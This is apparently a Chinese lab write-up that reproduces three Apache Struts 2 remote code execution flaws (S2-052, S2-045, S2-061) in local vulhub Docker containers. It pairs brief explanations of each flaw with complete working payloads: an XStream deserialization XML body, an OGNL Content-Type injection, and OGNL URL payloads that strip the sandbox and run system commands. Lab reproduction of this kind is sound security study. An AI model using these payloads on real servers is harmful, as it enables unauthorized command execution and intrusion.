1、使用docker搭建vulhub环境(https://vulhub.org/),复现以下几个漏洞:
复现S2-052远程代码执行漏洞
复现S2-045远程代码执行漏洞
复现S2-061远程代码执行漏洞
Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。
1.1 搭建vulhub环境
- git clone https://github.com/vulhub/vulhub.git 下载vulhub。
- 安装docker-compose
1.2 复现S2-052远程代码执行漏洞
S2-052漏洞原理:
启用Struts REST插件并使用XStream组件对XML进行反序列操作时,未对数据进行有效验证,可进行远程代码执行攻击。
(1) cd vulhub/struts2/s2-052 切换目录。
(2) 修改映射端口号为8082
(3)docker-compose up -d 启动
(4) http://192.168.200.116:8083
(5)进入id为3的edit界面,burpsuite抓包。
(6)send to repeater,修改数据包:
将Content-Type: application/x-www-form-urlencoded改为Content-Type: application/xml
将请求体内容_method=put&clientName=Bob&amount=33改为:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>temp/hello.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
点击go:
(7) docker ps 查看靶场容器ID
docker exec -it 2096 /bin/bash进入容器。
(8)ls /tmp 查看,hello.txt创建成功。
1.3 复现S2-045远程代码执行漏洞
S2-045漏洞原理:
文件上传模块在处理文件上传的请求时候对异常信息做了捕获,并对异常信息做了 OGNL表达式处理。可通过注入OGNL语言进行命令执行。
(1) cd vulhub/struts2/s2-045 切换目录,修改映射端口号为8084。
(2) docker-compose up -d 启动。
(3) 访问:http://192.168.200.116:8084
(4)点击submit,burpsuite抓包。
(5)send to repeater:
将Content-Type: multipart/form-data; boundary=---------------------------862674606196141771994536450
改为Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',120*120)}.multipart/form-data
1.4 复现S2-061远程代码执行漏洞
S2-061漏洞原理:
漏洞缘于对输入验证不足,导致在计算原始用户输入时强制进行两次Object Graph Navigation Library(OGNL)计算。
当在Struts标签属性中强制使用OGNL表达式并可被外部输入修改时,攻击者可构造恶意的OGNL表达式触发漏洞。
(1) cd vulhub/struts2/s2-061 切换目录;修改映射端口为8085。
(2) docker-compose up -d 启动。
(3) http://192.168.200.116:8085
(4)验证漏洞是否存在:在url中输入:
http://192.168.200.116:8085/?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d
按F12查看元素发现”est22”,说明存在漏洞。
(5)构造payload执行命令
?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}
?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27whoami%27}).(%23res%3d%23exec.exec(%23cmd))}